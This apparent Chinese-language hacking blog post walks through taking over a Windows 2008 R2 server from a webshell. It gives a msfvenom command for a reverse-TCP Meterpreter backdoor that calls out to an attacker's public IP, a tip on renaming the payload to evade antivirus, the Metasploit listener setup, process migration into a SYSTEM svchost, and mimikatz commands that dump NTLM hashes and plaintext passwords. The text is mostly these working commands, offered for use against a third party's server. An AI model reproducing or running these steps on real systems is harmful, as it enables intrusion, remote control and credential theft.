Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

利用metasploit(meterpreter)提下system权限加不了账号的shell

$
0
0

昨晚朋友发了个08 r2的webshell,说有system权限添加不了账号,也抓不了hash值于是就有了下文注:08R2的system权限是用MS15-051这个本地提权EXPLOIT提下的 就没什么好说的

在腾讯云租了5毛钱一小时的云服务器 在上面安装了metasploit 因为腾讯云有公网地址和私有地址是nat环境 所以我们就可以尽情映射端口来做reverse后门

生成payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=公网ip LPORT=2333 -f exe -o xx.exe


利用metasploit(meterpreter)提下system权限加不了账号的shell

然后把后门复制出来上传到webshell 推荐不使用exe后缀 因为一来会被杀 二来exe通常被禁止运行

改成任意格式上传到webshell因为在webshell里面任何格式运行均可被服务器当成exe执行

之后设置监听模块 payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lport 2333

lport => 2333

msf exploit(handler) > set lhost 内网IP(nat关系)

lhost => 10.104.142.160

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.104.142.160:2333 [*] Starting the payload handler…
利用metasploit(meterpreter)提下system权限加不了账号的shell

因为meterpreter的后门执行权限只能和服务器执行的权限一样 用ms15-051的获得的system权限执行后门获得system权限


利用metasploit(meterpreter)提下system权限加不了账号的shell

这样就获得一个meterpreter的会话


利用metasploit(meterpreter)提下system权限加不了账号的shell

虽然有system权限但是还是不知道为什么抓不了hash值估计还是权限的问题


利用metasploit(meterpreter)提下system权限加不了账号的shell

然后想到了把后门注入到一个windows上的system进程上来获得真的system权限


利用metasploit(meterpreter)提下system权限加不了账号的shell

看到pid为816的svchost.exe是system进程 然后试下迁移过去


利用metasploit(meterpreter)提下system权限加不了账号的shell

迁移之后就可以导出hash了证明有权限了 但是抓出来的密码确是空的 没关系 试下调用神器mimikaz

meterpreter > load mimikatz

Loading extension mimikatz…success.

执行meterpreter > mimikatz_command -f samdump::hashes


利用metasploit(meterpreter)提下system权限加不了账号的shell

第一次读取出NTLMhash

第二次执行meterpreter > mimikatz_command -f sekurlsa::searchPasswords


利用metasploit(meterpreter)提下system权限加不了账号的shell

然后可以看到windows明文以躺在这里 链接服务器看看


利用metasploit(meterpreter)提下system权限加不了账号的shell

这样证明密码对的 就不进去服务器了

*来源: Suzumiya ?Mottoin小编整理发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/85907.html


Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles



Latest Images